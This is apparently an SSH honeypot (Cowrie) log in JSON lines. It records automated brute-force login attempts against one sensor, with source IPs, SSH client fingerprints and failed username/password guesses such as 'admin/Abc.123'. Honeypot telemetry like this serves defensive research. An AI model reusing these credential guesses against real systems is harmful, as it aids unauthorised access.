{"eventid":"cowrie.login.failed","username":"admin","password":"Abc.123","message":"login attempt [admin/Abc.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:28:42.744747Z","src_ip":"103.228.69.212","session":"43467aeab0b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:28:43.978484Z","src_ip":"103.228.69.212","session":"43467aeab0b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58498,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f169076cafc","protocol":"ssh","message":"New connection: 159.203.92.129:58498 (159.203.135.109:22) [session: 5f169076cafc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:28:45.852105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:28:45.858707Z","src_ip":"159.203.92.129","session":"5f169076cafc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:28:45.866484Z","src_ip":"159.203.92.129","session":"5f169076cafc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Administrator","password":"p@ssw0rd","message":"login attempt [Administrator/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:28:45.880601Z","src_ip":"159.203.92.129","session":"5f169076cafc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:28:46.890521Z","src_ip":"159.203.92.129","session":"5f169076cafc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":43070,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e529e6262a6","protocol":"ssh","message":"New connection: 80.94.92.186:43070 (159.203.135.109:22) [session: 4e529e6262a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:28:51.155751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:28:51.264457Z","src_ip":"80.94.92.186","session":"4e529e6262a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:28:51.272682Z","src_ip":"80.94.92.186","session":"4e529e6262a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol@123","message":"login attempt [sol/sol@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:28:52.172741Z","src_ip":"80.94.92.186","session":"4e529e6262a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:28:53.347567Z","src_ip":"80.94.92.186","session":"4e529e6262a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55028,"dst_ip":"159.203.135.109","dst_port":22,"session":"938527f2a96a","protocol":"ssh","message":"New connection: 159.203.92.129:55028 (159.203.135.109:22) [session: 938527f2a96a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:29:30.101132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:29:30.106310Z","src_ip":"159.203.92.129","session":"938527f2a96a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:29:30.111854Z","src_ip":"159.203.92.129","session":"938527f2a96a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Alex","password":"123","message":"login attempt [Alex/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:29:30.124022Z","src_ip":"159.203.92.129","session":"938527f2a96a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:29:31.131631Z","src_ip":"159.203.92.129","session":"938527f2a96a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":35200,"dst_ip":"159.203.135.109","dst_port":22,"session":"583bf1fa821b","protocol":"ssh","message":"New connection: 37.143.61.84:35200 (159.203.135.109:22) [session: 583bf1fa821b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:29:38.278541Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":48446,"dst_ip":"159.203.135.109","dst_port":22,"session":"2439e3909a74","protocol":"ssh","message":"New connection: 103.228.69.212:48446 (159.203.135.109:22) [session: 2439e3909a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:29:38.697261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:29:38.705792Z","src_ip":"103.228.69.212","session":"2439e3909a74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:29:38.944035Z","src_ip":"103.228.69.212","session":"2439e3909a74","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:29:39.186189Z","src_ip":"37.143.61.84","session":"583bf1fa821b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:29:39.280237Z","src_ip":"37.143.61.84","session":"583bf1fa821b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"abc123","message":"login attempt [tester/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:29:39.924289Z","src_ip":"103.228.69.212","session":"2439e3909a74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:29:41.162678Z","src_ip":"103.228.69.212","session":"2439e3909a74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"toor123","message":"login attempt [test/toor123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:29:42.000237Z","src_ip":"37.143.61.84","session":"583bf1fa821b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:29:43.285266Z","src_ip":"37.143.61.84","session":"583bf1fa821b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":49676,"dst_ip":"159.203.135.109","dst_port":22,"session":"663d0f680dac","protocol":"ssh","message":"New connection: 2.57.122.238:49676 (159.203.135.109:22) [session: 663d0f680dac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:30:12.994780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:30:12.999694Z","src_ip":"2.57.122.238","session":"663d0f680dac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:30:13.103661Z","src_ip":"2.57.122.238","session":"663d0f680dac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:30:13.418146Z","src_ip":"2.57.122.238","session":"663d0f680dac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:30:14.524971Z","src_ip":"2.57.122.238","session":"663d0f680dac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43068,"dst_ip":"159.203.135.109","dst_port":22,"session":"d48ac55d91ee","protocol":"ssh","message":"New connection: 159.203.92.129:43068 (159.203.135.109:22) [session: d48ac55d91ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:30:16.069427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:30:16.082335Z","src_ip":"159.203.92.129","session":"d48ac55d91ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:30:16.109095Z","src_ip":"159.203.92.129","session":"d48ac55d91ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Alex","password":"123456","message":"login attempt [Alex/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:30:16.187655Z","src_ip":"159.203.92.129","session":"d48ac55d91ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:30:17.201487Z","src_ip":"159.203.92.129","session":"d48ac55d91ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":37654,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a9511a14a75","protocol":"ssh","message":"New connection: 103.228.69.212:37654 (159.203.135.109:22) [session: 1a9511a14a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:30:36.591850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:30:36.599454Z","src_ip":"103.228.69.212","session":"1a9511a14a75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 